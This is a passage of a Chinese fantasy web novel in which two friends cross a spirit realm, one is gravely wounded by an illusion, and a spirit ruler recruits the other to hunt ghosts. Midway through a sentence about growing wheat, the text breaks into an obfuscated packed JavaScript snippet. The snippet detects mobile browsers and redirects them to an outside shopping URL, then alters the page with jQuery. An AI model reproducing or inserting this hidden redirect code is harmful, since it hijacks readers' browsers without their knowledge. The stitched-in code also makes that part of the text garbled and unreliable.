听到云鹤和云辞的名字,斛万心中的戒备有几分松软,但仍面色不变地开口:“他们没有提起过您。” 月婆婆往火炉添几把柴,火苗摇曳生姿,她道:“自然,金沙郊渡口之人从不知这里有灵使存在,他们只负责收留,指路。但身为灵使的我,必须要清楚每个角落以及事件发生。” “所以从一开始,您就知道我们的动向?”斛万的态度不再如刀刃。 “那在我的职责范围内。”月婆婆说着,不知想到什么往事,以万千感慨的目光看着斛万和姜旗,“你们是首位成功踏破金沙郊的人,不得不让我密切关注啊!” 接下来,斛万再次问出心中持怀疑的问题:“您是否知道,那个世界的残星湾道和这空间里的残星阁是什么联系?” “哼!你这年轻人,倒是净喜欢挑重点。”月婆婆语气虽是责怪,但眸光里的欣赏却是不加掩饰,她缓缓道,“没那么复杂,不过是我们的空间在残星湾道附近,具体的,也只有我们的灵主知道了,灵使只是各司其职,做好自己该做的。” 斛万问:“灵主?” “当然。”月婆婆阐述的很详细,“音兰灵纬的最高掌守者,各方区地灵使皆听命于灵主。只是万般难见,想我到这个岁数都还不知灵主具体什么样子,向来是以灵音传讯。” 斛万没再说话,只觉得事情走向貌似开始复杂化。 姜旗看这气氛不再那么箭弩拔张,他想到先前经历的,纠结再三,道:“婆婆,这金沙郊残酷血腥,您知道为何不出手整治?” “整治?哈哈哈哈!!!”月婆婆音色涌泉,道明真相,“这空间,每天都会掉过来一些人,但你们猜猜,为何存在千年的渡口,居住者却只百人?那些每个说要回家的人,当走上那条路见到遍地金子就忘记一切疯狂掠夺,贪婪胜超无底深渊,久而久之,外形发生变化不可避免。” “你们甚至不知道,那居住在渡口的人原先也是那些物种,迷失于残杀吞噬却在某天苏醒,费耗半条命爬出,也花费巨大时间精力才有了所谓的安宁生活,随环境被一点点清除记忆只保留下了美好。” “而这里数万年了,在那地狱里清醒过来的人,机率渺茫。” 柴木噼里啪啦作响,火星烧空四溅,气烟时鸣,斛万姜旗二人低眸沉默,心比铅球重。 “如你们所见,金子是沙子。”月婆婆执起手丈轻击地面,洒落满地的红钞一张又一张掀角而立,整齐地悬浮在空中将两人圈圈包围。 下一秒,她伸手的掌心里簇生一团旺盛的火焰,映照她当下冷凝漠然的神情,“所有人的眼心被欲念蒙蔽,利益价值为首,哪怕手捧跟前。”她合拢一弹,火焰顷而化作数道火苗飞进红钞,从边角燃烧。 “也根本看不透金子是最无用的东西,称其忘狱境,也是名副其实。” 言尽火灭,先前还完好无损的红钞,现在被燃烧的只剩上面的人像,月婆婆手一摆,便一个个排队似的躺进她手里。 “你们真正的意识里不在乎,所以才能轻易看清。” “太讽刺了。”姜旗忍不住喃喃,也更讶于她留下的。 斛万注视着她掌心里厚厚的一沓:“你们……” 月婆婆笑眯眯:“你们那里人尽皆知,我们这里灵尽皆知,如今我已将该说的全数告知,接下来就不拦你们的去处,现在就请跟我来吧。” 木屋门开,和煦暖阳照射,晴空万里下,各种花草树木肥美繁茂,一座座大型坊厂坐地,不见内部何样运作,只看数不尽的烟囱不断向空中喷吐沙子,八方各飘。 “哇我的天,婆婆这些坊厂。”姜旗到处走到处看,“这是您掌管运作的吗?” 太神奇了,这般程度飘舞的沙子,天空竟完全未被影响,这景真堪称桃源仙境。 “当然不是,我是负责掌守的,不是负责掌管的。” 月婆婆走下台阶,去向生长于木屋旁一棵粗壮挺拔的银杏树下,它枝桠延伸越过木屋,活像巨臂包揽,能遮挡抵抗任何狂风暴雨。 斛万仰头观看这棵巨树,想起顾之阳曾说的话:“婆婆,金沙郊的特殊环境能生出树木吗?” “我曾在透明容器里种过麦,不予土壤,只给水分。”月婆婆放下手丈,盘腿而坐,“在它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394958|200365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发芽茂盛的时候,有天我闲来无事瞧它,见它底部根茎盘根交错又彼此连接,一根完整的部分生出了无数条脉络分支,我觉得有趣。” “后来我把它提出来却发现了另种妙象,那就是这些根茎在容器中长久生长,器壁的阻拦无法让它们肆意发挥,最后它的布局竟形成了有边有角的方形。” 她的手细细摩挲过这棵陪伴她万年的树,这棵记载并见证着她与一切好坏变化的老树,彼此间的情感超越任何关系。 她说:“它也一样,我耗费大量灵力供给这里,是唯一一块能让树木活下去的地方,如果不在地下设置阻拦壁,那些被欲和念浸透的环境只会杀死它。” “那,渡口处的巨型蔬果也是同样道理吗?” “唉……”月婆婆却否认,“不是,那些吸收的,是金沙郊内互相残杀下的负面欲念导致变异的结果。” “难怪……”斛万的心境万般复杂。 月婆婆却安慰他:“年轻人,当下不必多想忧虑,世上总会有些存在无法改变,它无关对错,你只需要先走好自己的方向。” “好了,感谢你听我这个老婆子唠唠叨叨说这么多,接下来,我也该送你们过去了。” 她转头喊姜旗:“年轻人,你也快过来!” “来了!”姜旗听到呼喊从那坊厂周围跑过来,“是要走了?” 斛万说:“嗯。” “来年轻人。”月婆婆指向树,“你们过来贴着这棵树站一起,我待会儿要施展灵力将你们送到要去的地方,我虽对此耳闻不曾有涉入,但也请你们切记一点,残星阁是犹为重要之地,而往往重要也代表暗藏危机,绝不可贸然莽撞。” 两人应下。 “好,我开始了。” 只见月婆婆一掌轻置面地,另一放于身前的手伸出食指与中指相捏,下一秒她闭上眼睛默念:“来之此易,留者皆难,去程残星,未路坦明。” 下一秒她睁开双眼,顿时地面剧烈颤抖,那棵树上所有的银杏叶唰唰唰掉落组合,开始一圈圈自下缠绕巨大树身,然后紧贴其上的两人,直到彻底被包围,斛万透过缝隙里对老人说:“婆婆,先前,抱歉。” 他低头。 “哈哈哈!不必抱歉。”月婆婆坐在那里,祥缓柔和地说完最后一句话,“年轻人,这点你做的很不错,和你的伙伴去吧!我想,你们终会顺利度过,到那时,我们自会再遇。” 被围绕着的里面,一束强烈的绿光出现将其整个覆盖,只稍作眨眼的功夫,斛万和姜旗便消失不见,而那些银杏叶也重回树枝,恢复原样。 接着,银杏树身上幻化出一面镜子展露在月婆婆眼前,周边闪光,而镜中显示出一批身上持挂各种工具和背包游走在大山里的人。 月婆婆观了片刻,也只面色详宁地道:“人为干预如何能战胜天意。” 彼时,绿光将两人带至一座类似于庙宇的地方,天色黑沉,这里古朴萧瑟,星辰汇聚众多,渲染出一种不可言说的神秘味道,若非旁边大石头上提醒这是残星阁,恐怕就要联想不到就此别过了。 “阿嚏——”姜旗打了几个冷颤,系上外褂纽扣,搓臂呼手,“这鬼地方真冷,说是阁,这根本就是庙啊!” 斛万脱掉衣服扔他身上:“穿好,你先站在这里等着,别过来。”说完,他抬步朝残星阁走去。 “哎不是……” “等着。” “……” 对斛万来说,每当“静”这个字在意识中出现,那么就往往要将敏锐拉到最高点。 而现在就是这种情况,安静到连风都没有的地方,先前几次的危险来临前都有这种气氛征兆,况且一般来说这种建筑周围都会有些树木和门当,但他眼观周围,却尽是些石头打磨的平地。 斛万越走越近,在到达残星阁门前时停下,他看了眼这门,踱步观察。 铜色石门,四周雕刻着蟒蛇状的装饰,没有铺首,只有中间三层旋转机关,最小的一层上面有相同装饰的同时,还多雕刻了两柄交叉的利剑。 他伸出手试探性地触碰,没想到门就这样轻易松动了,上面的旋转机关就像是摆设,没任何难点。 等他收手,姜旗也走了过来。 “我看到缝隙了,我们进去吧,还有这个,你赶紧穿上,我没事了。”姜旗将衣服递给他,他站在那边等得太久,快给他急死了。 斛万没有接,只说了句你拿着便推门而进,姜旗咂咂嘴无奈地跟在后面,可随后两人却同时止步不前,不是危险,也不是突发状况,而是又一道墙和门,和外面的一模一样。 “有意思!”姜旗好奇瞧着,他走了几个来回,说,“这地方还有二次防御呢。” 斛万迟疑一瞬,接着道:“我们走。” 第二道门被推开,等待他们的又是第三层,这种布局,真是奇怪的很。 “啧啧,这咋跟鬼打墙和玩套娃似的,再推开不会该第四层了吧!”姜旗手放上去对斛万说,“这次让我来!” 吱呀—— 门开了,但没有预想的第四层,没有围墙,也没有铜色石门,而是一道独自矗立在中央的八角门,眼里能清楚看到空间相当大的院子,平地之上有一层宽大圆形的阶,像施法场地,上面还刻有一条巨龙。 视线离开场地再看不远处,俨然是残星宫的样貌,而非所认与所说的阁与庙。 两人这次并没有直接进去,而是心中皆有感不对,互看一眼。 斛万丢出几颗豌豆花生扔过去,就看到没有围墙的两边却显现出青色的结界弹走了豌豆,而花生却进了那八角门里。 再接着,原先两人走过的那三扇石门忽然齐齐闭合,八角门发出声音,开始延展生出带有铜色花纹的黑色蟒状物,不断交织缠绕。 最终,它化成一个硕大无比,从上至下金色盔甲,头戴盔具容戴面甲,双手持握利剑立于身前,剑尖下地面凹口的将军。 “姜旗,退后。” 没想到话音刚落,眼前这位将军就当头劈剑砍来,石地裂开,斛万躲开后大声道:“姜旗!上石门旁边那口缸跑出去!快!” “好,斛万你也跟上!” 容不得多停留,这将军的一步是他们两人的三步还要多,简直是命直接被按在地上踩。 两人在不断加速奔跑踩缸上顶,完全不知道那位将军早已在他们逃跑时就化作黑色幻影穿门而过。 在终于到达第一扇门时,姜旗一鼓作气地爬上房顶,转头伸手去拉斛万却定在那里。 就见那第二扇门前站着一个女人,她卷发白裙,温柔美好得不像话。 而斛万定在原地,不可置信地颤抖。 “什么情况?斛万,这是谁?” 姜旗说完从上面跳下来,但他又变凝滞了,因为斛万不仅在一步步上前,还变得非常不对劲,那满眼泪花和思念不舍的神态让他震惊错愕,他斛万什么时候有过这种情况,难道偷摸谈恋爱了? 姜旗在心里胡思乱想了十万八千次,但接下来的几句对话直接给他炸了个措手不及。 只见那个女人笑看着斛万,轻喊:“阿寓,你长大了。” “……妈妈?” 女人听到呼唤,往前迈了两步:“我在这里,但阿寓,你弟弟呢?” 听到这话,斛万更加哽咽,每说出一句话,心中都形如刀割:“坦坦……坦坦恨我,他恨我,是我的错……” 可女人依旧笑着,姜旗下意识皱眉奇怪,其实他知道斛万有心结,但从来不过问,一是不希望他因问题想到过去而痛苦,二是他更想斛万在某天解开心结,真正到不受影响的时候再说出来。 但是她母亲…… 没有多想,接下来他便一直盯着。 听到她在用特别柔和的嗓音安慰斛万:“这么多年阿寓受苦了,过来让妈妈抱抱好吗?你最喜欢妈妈抱了不是吗?” 此话一出,斛万当即从失落中抬头,眼泪跟着就此滑落,他嘴里句句呢喃着妈妈从而慢慢上前。 就是这么一幅样子,在落进姜旗眼里他得出的结果却不是真实性的靠近,而是行尸走肉,双瞳无神,被蛊惑至此。 方才察觉到反常他就在观察,如果说刚开始他认为出现最想见的人是用来解开心结,而如今他就能确认那极大概率就是来夺杀性命的东西,那女人的种种话语和神情漏点太多了。 “你是什么东西!” 他不敢再过多犹豫停顿,快步跑过去拉拽斛万的手臂,在他耳边大喊:“别过去!她是假的,她不是你真正的母亲!!!” 谁曾想斛万被幻象迷惑的太深,不但未听,反而一个大力甩开姜旗的手又将他推倒在地,而后继续朝那女人走去。 “我操疼死了!”姜旗艰难起身,踉踉跄跄走着冲他的背影大喊大叫:“斛万你醒醒!!!那玩意儿是幻象!!!是假的!!!那不是你母亲!!!” 与此同时,他看见那女人的手心里逐渐滋生出一把长剑,笑容变得越来越诡异,甚至染上嗜血神态,但她嘴里仍不断念着阿寓,让妈妈抱抱你。 “那不是方才见到过的利剑吗?难道,这是那个将军幻化出的另一种形态?” 眼看斛万即将要走到了,姜旗猜测无误后当即脱掉外褂低声叫骂了几句,忍着疼痛咬牙,目露寒光:“醒不过来是吗。” 下一步,他用尽全身力气朝那女人跑去。 “刺啦——” 皮肉被贯穿的声音刺激并唤醒了遭受诱导的斛万,当他恢复意识看到眼前的一幕,他崩溃了。 姜旗的处境残忍血腥,他的身体被捅出一个血洞,那是能通过这洞看到这里一切的血洞,他的下半身全部被血染透,但血还依旧不停涌不停涌,脚下的地面就像被泼了好多盆水。 “姜旗!!!!!” 斛万一脚踹开假象,那假象转眼间就无影无踪,他紧紧接住倒下的姜旗,眼眶通红地喊:“不准死!!!不准死!!!” 姜旗早就偷偷看过自己现在成了个什么鬼样子,他一向怕疼,可如今这么大的洞还流了这么多血,竟然没一点疼的感觉。 他嗓子干哑,勉强发出的声音却在笑。 “我去你,终于醒了,没想到有生之年,能看到你为我哭,我太值了!”他如往常开玩笑般的说,“操啊失算了,那剑刺进来,竟然是开出一个大洞!哈哈哈,咳咳咳……” “你别说话,你别说话……”斛万整个人乱到语无伦次,用手去捂伤口和不停涌出的血,可是洞口太大了,怎么也捂不住,他要疯了,根本不该是这个局面,他的眼泪不断滴在姜旗脸上,音色甚至带上祈求:“你别说话了,别说了,姜旗,你不能死……” 他想救他,可这里什么也没有,也没有任何办法,更不知道要如何挽救。 姜旗觉得自己有些涣散,他看着星空,嘴里冒出大股血液:“我死了,你得给我好好活,你帮我那么多年,我本来,是准备给你打一辈子工感谢你的,但好像没机会了。” “你说,人死了到底会不会变成星星啊!” 姜旗这时开始哭了:“等你以后回去,别把这些告诉黄栌,你就说,你就说我环游世界了,别让她担心……” “你一定要活下去,别再寻短见了……” 最后一句话落下,姜旗终究是闭上了眼,他气息全无,体温开始流失,而斛万疼的要死掉了,他颤抖着一遍遍说:“对不起,对不起,又是因为我,因为我……” 他气虚无力地抬头,那模样仿佛在静待死亡,他不想再前进了,也不想动了,姜旗说的不对,死这个字,一旦有了念头,就会有第二次第三次。 可突然,他头顶上空的一颗星星发出无比耀眼的光,下一秒那光成束射下来,精准不差地打在他额头上,来不及作出反应他便昏迷过去。 随后,几抹幽绿光丝出现在斛万身旁,只旋转几下就变成一个人影,这人影高大矫健,身披黑色斗篷,脸也藏在兜帽里。 他什么都没做,只是立即蹲下扶起斛万和姜旗,目光落在姜旗身上的血淋淋,看了一眼这里。 “破地方死蟒藤。” 5. 议诡闻溪逢尘笑,幽缕言却娓半明 斛万是被一声声流利戏腔嗓给吵醒的。 先前一直陷进沉倦的双眼,在清晰中映入一只羽黑瞳绿的鸟,现下正扑扇着翅膀朝他叫嚷。 “你醒了!你终于醒了!我是能言鸟!” “这是、哪里……”他嗓音虚弱,感受到身下丝丝凉意。 斛万断断续续,强行撑起疲软的身子坐起,发现自己正在一张绿竹罗汉床上,原先穿的衣服也变成了绣有海波纹的青袍,身前的长直黑色也在告诉他自己的头发变得有多长。 他环顾四周,自己在一间简洁的小卧房里,墙上挂了不少潇洒磅礴的字幅,喝茶闲坐的小桌椅靠墙与床对照,左侧有一杯冒着热气未喝的茶,像是不久前有人来过这里,小坐一番便离开了。 能言鸟又开口:“音兰灵纬!中心!中心!” 斛万的太阳穴和眉心阵阵刺痛,他摇晃几下头,说道:“我在这里,那姜旗呢?” 苍白憔悴的脸霎时间浮现慌乱,他朝那只鸟露出的目光赤红,难以形容的痛苦。 “姜旗在哪里?” 不等能言鸟回答,斛万便急急掀掉身上的被子下床。 “姜旗,我要去找姜旗!” 刚走几步就倒在了地上。 “啊啊啊,你不能随便动啊!你是不想让本鸟活了吗!” 能言鸟叫唤着,迅速飞到跌坐的斛万身边,在他周围盘旋唠叨,身上的黑色羽毛落了一地,也落了斛万一头。 “气死本鸟!你竟然听我把话说完的机会都不给!你知道自己有多虚吗?” “聒噪。”斛万冷声,给出一记眼刀。 能言鸟瞳孔放大,不可置信:“你、你说什么?” 斛万不予理会,拖着气虚无力的身体,倔强地站起来跑,当掀开字画布帘跑出来的一刻,他停下了脚步。 偌大宁静的屋子,清香扑鼻,透过高挂及地的画,他看见了前方正沉睡的姜旗。 “……” 话没说出口,泪先流。 “……姜旗。” 斛万哽咽着迈步向前,在他撩开第一张画着水的画作时,画纸由薄纱般的透,顷刻变为原样,姜旗的身影也消失不见。 “姜旗。” 斛万内心咯噔一下,生怕自己方才看到的是幻象。他焦灼,手脚加快速度,但在撩开一幅幅画作时又极力克制,谨防画纸褶皱开裂。 水、石、山、土。 树、花、草。 日、云、月、星。 风、雷、电、雨、雪。 火。 上到飞禽,下到走兽。 都被斛万经过一遍。 直到他站在最后这幅画面前,这幅将所有自然与动植物归纳到一起,呈现在宽大的画纸上。 斛万颤抖着手,轻轻撩开。 他不受控制地哭了。 姜旗安静的躺在一块通体泛着暖光的圆形石头上。他上身未穿衣服,被刺出大洞的肚子缠着一圈圈厚厚的白布条,清晰可见呼吸起伏有多微弱。 斛万哭着哭着竟笑了,他看着姜旗,边擦掉眼泪边开口:“幸好你没事,太好了!” 正当沉浸在劫后余生的情绪里,斛万耳内忽然传入一道道清脆的铃铛响,让他听了紧绷不再,转由轻松替代。 他回头看了一眼姜旗,再次确认他无事后,从画里走出来,推开门出去。 映入眼帘的,是一个奇幻美丽的地方。 不远处,是一条小河,河对边是一座长长的、能见顶的高山。山崖上奇花异草,大小瀑布随处可见,松树昂扬挺拔,笑意张扬的猴子到处攀爬;大小不同的洞穴,金色孔雀飞入飞出;长长的藤蔓悬挂,各类色泽亮丽的异兽借其到处攀走。 还有多座搭建在树上的三层楼塔,背着背篓的大人和小孩在其中歇脚,谈笑风生。 斛万被眼前的仙境震惊。 可突然,断裂的脆亮伴随尖叫引起他的注意力,原来有一名背着篓的男人,在爬到松树上时恰逢树枝断裂,现正摇摇欲坠。 “喂!!!不要动!!!” 斛万大喊,快跑过去,谁知树枝断得太快,连带人直直坠落,而他的心也跟着瞬间下沉,但紧接着,天边出现一条宽长的红色彩带,它延伸到山崖,巨影也引来人们与异兽的注意。 下一秒,红色彩带首端跑出一只头长鹿角的幼狮,身上颜色赤金相交,颈上一枚铃铛作响,夺目绚丽。 它奔跑速度非凡,转眼间就接住了坠落的男人,将他安置在一棵坚实的松树上,然后咧着灿烂笑容继续奔跑,经过斛万时,还对他拨弄了几下身上的铃铛,像是在炫耀一个来之不易的宝贵物件。 过后不久,山崖上顿时爆发鸣响,猴子凤凰和异兽,大人与小孩,大家齐齐欢呼雀跃,斛万见到这一幕,也跟着不由自主地笑。 “赤金鹿角幼狮!今日过诞辰!” 屋里的能言鸟飞出来不容易,落在斛万肩头。 狂风来袭,万物摆动,吹得人站立困难,头昏脑涨又双眼模糊。待这阵风过去重归安宁,斛万放下覆在眼睛上的手,瞳孔骤缩。 在他面前,是一条庞大冷冽的黑龙,龙身几乎要挨到地面,正低着头激动地看着他。 斛万不可置信,良久才开口。 “你是,那条小龙?!”他试着伸出手,黑龙意会,闭上眼将头放得更低,斛万轻轻抚上它的头,说道,“你好,小龙。” 话音刚落,黑龙按捺不住,兴奋地翻腾来翻腾去,围绕他盘旋了好几圈,很快飞到天上,飞舞着离开了。 “巨龙!巨龙!” 奇特的一幕幕结束,斛万终于完全注意到这只能言鸟,他偏头问:“你是什么鸟?” “……” 能言鸟剧烈摆动翅膀,羽毛唰唰掉,愤怒地敞开嗓子:“能言鸟!本鸟是能言鸟,先前就说过了!!!” 斛万点点头,自己那时是真的没有注意到,接着他问:“这里又是哪里?” “音兰灵纬时空,中心地!” “那先前我去过的金沙郊和残星阁,也属于这个时空吗?” 他见能言鸟点头,说没错没错。 而得到两个回答的斛万紧跟着又问出下一个疑惑:“我晕倒后,是怎么到这里的?” “是啊啊啊啊啊……” 话一出,斛万看它,而能言鸟的表情裂开,惊讶错愕,不信邪的再次出声:“是啊啊啊啊啊……” “是啊啊啊啊啊……” 斛万觉得这只能言鸟像吃到了什么难以下咽的东西,怎么试都不能把话说出口,见它越发生气,就当即换了话题。 看来这个答案是属于不能说的。 “算了,我们先回去吧,等姜旗醒过来。” 刚转身,就听到天际发出笑音,入耳尽是散漫慵懒,能言鸟立马飞进屋子,而对此很想搞清楚的斛万,则循着声音离开了这里。 大概走了有二三里地便来到声源所在。与此前屋子和环境相同,唯一不同的是这里有一颗古老粗壮的树,树上开着五颜六色的花。 花瓣漫漫,飘落吻地,斛万最后看到一个懒懒散散躺在树下,浑身花瓣的人。 “来了?” 与笑音重叠,这人坐起身,面容端正却处处散发着轻佻和不太正经,他冲他笑笑:“我叫茶一尘。” “你好,我是斛万。” 茶一尘手撑着脸,一副早就知道的模样,点点头说道:“嗯!来坐吧。” 他站起来,拍拍白衣袍和长发上的花瓣,走到摆放在门前的小桌椅处,开始倒茶。 斛万走过去坐下,茶被递到眼前。 “谢谢。” 茶一尘摇摇头:“你也太客气了!”他把自己的茶一饮而尽,抬腿的脚踝放到另一条大腿上,时不时抖抖,说道,“哎,你知道多少了?” 闻言,斛万看他一眼 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斛万对突如其来的发展诧异,见到茶一尘起身走到前方,下一秒距他两米处的树身自上而下生出一道绿色光线,直直到达草地化为圆圈,它不断旋转上升,最后化为一女子。 她似是灵魂形态,通体绿色,如油亮明,如水柔顺,又似烟似雾,她的发直长,临至腿窝,衣裳样式端庄,模样看不清具体,但慈悲温和从中散发。 茶一尘伸手作礼,弯腰低头,而女子一挥过去,斛万听到他说:“主宰。” “不必。”被称作主宰的女子朝斛万看过来,“欢迎你回归,斛万,我们有事情需要你的相助。” 夜晚降临,三人坐在树下,借花草树木的荧光交谈。 茶一尘在倒茶,主宰说道:“斛万,想必你已经猜到我是谁。” 斛万点点头:“您应该就是月婆婆所描述的万灵主宰。” “不错。”她说,“我感应到你是最合适的人选,否则不会有这趟。” “什么意思?”斛万听出她话中有话,像是有什么事要告诉他。 主宰露出笑,三人即刻环境转换,站在一个四周通红火热的地方。斛万抬头,眼里映入一个巨物,自己则成为蚂蚁,它大到仿佛要把这个地方顶破。 巨物被粗重又锈迹斑斑的大铁链层层缠绕,看不出其中到底是何形态和模样。 “这是……” 主宰走过去,掐死一只蜘蛛,说道:“这就是你需要相助的了。如你所见,这些锁链困住了里面的三水阴,因此我们就要解开,助力金好夺权。” “夺权?”斛万皱眉:“这要怎么解?寻找钥匙吗?” 茶一尘摇头,对他说:“不是钥匙,是我们要去杀鬼。” 主宰接着道:“每杀掉一站里的鬼,锁链就会自行解开一层。”她看向这些锁链,“缠绕厚度我也已数不清,你们要去的地方必定多,金好会与你们同行。” “明白。”茶一尘作礼应下。 “等等。”斛万觉得有些不妥,“我还没同意。” 事情走向让他太无法预料,不仅离回去越发背道相驰,还有姜旗目前的情况,都是他要考虑的,不可能立即随其接受。 “你会同意的。”主宰转过身,“你的伙伴在我们的时空,你是个聪明人,斛万。” 斛万一听,脸色便沉下来:“你威胁我?” “主宰。”茶一尘突然出声,作礼低头,不再开口。 “哈哈哈!罢了。”主宰仰头笑完,看向从前方走过来的赤红衣袍女子,她满头卷发过腰,红色额饰穿于发中,耳坠红蓝相交,如此张扬艳丽,人却透着温和。 “金好,你们都熟悉熟悉,明晚启程。” 斛万刚看过去,就听到金好对他说:“你的朋友醒了,在到处找你,去找他吧。” 她挥出一道水流,斛万被包围,消失不见。 6. 铃琉夜吟良时淡,弃离三询公主莹…… 砰砰—— 砰砰—— 斛万回到屋前的时候,里面的人在撞击着这门。 “姜旗。” 他先喊了一声平息里面的焦躁,快步过去推开门:“姜旗,身体怎么样?有没有哪里不舒服?” 刚说完,抬眼就见双眼通红的人一屁股坐在地上抹眼。姜旗哽咽着说:“我以为你死了。” 斛万无奈地呼气,搀他起来坐到那块疗伤石上,对他说:“自私一点,多关心关心你自己。” 见他肚子上的白布条不见,只余剩未好完全的大面积淤血红紫,斛万皱眉:“再躺久点,好了再下来。” “不躺了。”姜旗摇头,他清楚身体状况,“我已经没事了,这些痕迹自己就能好。不过这里又是什么地方?我怎么没事啊?” 斛万没说话,把姜旗按到疗伤石上,拉过脚边的被子将他连人带脸整个盖上,忽视乱动沉声说:“再动,什么也不告诉你。” 这话有效,姜旗果真不动了,掀开一点点被子露出脸,看到斛万已经坐在地上靠着石头。不知怎么回事,他觉得斛万与先前格外不同,似乎揣着心事而沉重明显。 姜旗说:“我没动了。” 就这样,斛万将他已经了解到的尽数告诉姜旗,知道经过的他豁然开朗,说:“那我得找时间去谢谢他啊!不然真就交代在那了。” “大难不死,必有后福。”斛万站起身,“先眯一会,我去找食物。” 这屋子并没有可以做饭的灶房,他要出去看看有没有能吃的果子。 “好,没的话就别找了,我喝水也行。”其实他不想让斛万出去,万一有什么危险他一个人很棘手,但他是绝对不会听的,偶尔他也是个死脑筋。 “不行。” 姜旗听到这话,闭了闭眼在心中叹气,他就说他是个死脑筋吧! 斛万刚出来,就见前方河边坐着金好。她衣袖挽着,在用长签穿鱼,茶一尘则在火炉边烤鱼,二人身前摆放的小桌上有四碗饭和四道菜,还有两小碟糕点。 茶一尘见他站在那里,说:“出来了?那就喊那家伙来吃饭吧!” 叮叮当当—— 斛万又听到了清脆的铃铛响。 “哇!”姜旗趴着,脸都要伸进河里,看着这发出细闪光芒,流动响起铃铛音的水,他眼睁得大,“好神奇,还能清楚看到里面的鱼!” 茶一尘扭头:“当然,铃琉河可是十分有名的。”他将焦香的鱼放在盘上,斛万接过端走,“好了大家,鱼都熟了,我们吃饭!” 四人各坐一边,金好不知从哪拎出来两坛酒搁在桌上,茶一尘则从小桌边抽出四个小杯摆好。 姜旗有些激动地道:“还有酒作伴,这是什么酒?” 金好将雕刻着字的一面翻过来给他看,手指敲酒坛:“欢伯乐。”她又把酒放下去,“吃完饭再尝。” “唉……”姜旗状似垂头丧气,扬起脸又笑,“吃饭吃饭!” 三人看着他,皆露出笑。 姜旗身上凉嗖嗖,说:“感觉你们笑得有点诡异,不会在打什么坏主意吧……” “行了,你这家伙!”茶一尘的筷尾敲他脑袋,“吃完送你们回家。” “那斛万咱俩得吃个饱!” 斛万点头,笑着:“当然。” 两坛欢伯乐,斛万三人没喝多少,姜旗自己一杯接一杯,喝完了一坛。他趴在臂弯,醉醺醺地握着小杯:“嗝……头发好碍事啊……嗝……这酒怎么,太好喝了……” 他断断续续地说着睡过去。主宰现身于铃琉河面上,三人起了身。她伸手,桌上的姜旗周身泛金光,消失不见。 “你不必担心,我会暂时消除他的记忆,在这里生活。” 斛万两侧的手未松,他想看到的已经发生了。他的手渐渐松开,听到自己沉闷的声音:“谢谢,我去做准备,不用到明晚。” 回到小卧,能言鸟窝在枕上睡得安稳。床边折叠着一件衣袍,斛万悄声换下青袍,穿上束袖黑长袍与墨绿柔纱外衣,最后套上黑色外袍,头发绑上发带。 靠床的窗子缓缓打开了,斛万朝外看出去。方才的烟火气早被撤走,恢复本样,而铃琉河叮叮作响,却像在倒数,河对岸的山被泛着各色荧光的奇花异草和动物照得耀眼,他合上窗子,吹灭蜡烛,走出小卧被屋中的画作照明,顿了步子,合上门离开。 “你的!”花树下,茶一尘将一把大刀给他,“葬鬼刀。” 斛万接下,金好掌心生出一团泛着蓝光的翻腾水流,映出她的冷肃,下一秒抬眼看向斛万,水流跳入他额头,蓝色眼眸与蓝色额印同时出现,又迅速消失。 斛万只感到浑身一股清凉,他碰了碰额头:“那是什么?” 金好告诉他:“是我给你的灵力,为水,它的用途能杀管融可救,包括能化形你需要到的利器,现在。”她露出微笑,“试一试吧。” “握住葬鬼。”斛万照做,“保持专注在你的手,而非这把刀,太紧太松都不行,找到属于你的合适力量。” 斛万低眸望着刀,渐渐合眼,当某种无法言语来临,他的手没有了一点刀的沉重。 啪啪—— 斛万睁眼,见茶一尘在拍手,金好的眼中也是赞赏:“漂亮!保持手伸出不动,试试能不能把葬鬼召出来。” 毫无疑问,做得利落完美。 “不愧是最合适的人。” 主宰的声音在身后出现,接着继续对三人说:“方才,三水阴生出指引,你们的第一个地方是弃离山,通过早莹公主,方能到达第一站正式目的地。” 茶一尘应下,金好转身的同时,手中生出一枚以水化形为手指长度的哨子,她吹响,道:“火凰。”回音传遍天际,一只赤红火亮的凰鸟点亮半边黑夜,很快降临在面前。 “火凰日后是行动伙伴,我们走。” 金好盘腿坐下,茶一尘上去便懒洋洋地躺下,斛万坐着,离二人较远。他感受到腾空,眼里一半火红一半黑夜,眸子突然变得昏沉,闭上之际,他看见站起转身的金好。 “休息吧,踏上这趟路程,我们会有很多场硬仗要打。” 等再醒来,天已由黑转白。 “你醒得刚好。”茶一尘抛给他几个果子。金好对二人说,“准备一下,要落了。” “好。” 火凰在山脚下降落。入眼望去,除了一条蜿蜒曲折的羊肠小道,整座山皆由金黄点缀,在日光照射下发着灿烂的光。 “怎么离这么远?”茶一尘转向金好,“若走到顶,或许天要黑了。” “弃离山是早莹公主的地界。”金好向左,走到一块被掩埋在树叶里,只露出一半头的半米高石头旁,轻轻拨扫过去,红字显露,“遵守规则,诚心诚意,勿投机取巧。” “行!”茶一尘随手拽了根草噙在嘴里,迈步,“走喽!” 斛万一并进入。弃离山的树高大似通天,林内严密不见光线,各异植物胜人高,与昆虫齐齐发光,萤虫不断,树身遍布蓝紫光络。落叶在脚下嘎吱响,偶尔能见几只例如兔子猫般的小型野禽,生发另几番动静。 三人在林中经过了数条小溪,直到路过一株巨型粉色蒲公英时,听到其后有啜泣的声音。三人停步,金好手里已然捏了两枚冰针。 哭声渐渐增大,难以自控,斛万虽心中有疑,警惕高升不降,还是抬脚走了过去。茶一尘拉住他,另只手上赫然一把紫弩箭,但那箭却是闪着冷绿的细长无比柳叶,锋利可见。 “斛万,你在想什么?”茶一尘动用灵力,在他耳内说话,脸色很沉。 斛万沉默挣开,毅然走上前,金好与茶一尘握紧手蓄势待发,如瞄准致命位置的猛兽,然后,便见他牵出一个哭得脸肿胀的小女孩,手里还捧着碗未吃完的米饭。 两人同时松了松手,缓慢放下利器。 金好说:“小孩子?” 茶一尘则问:“什么情 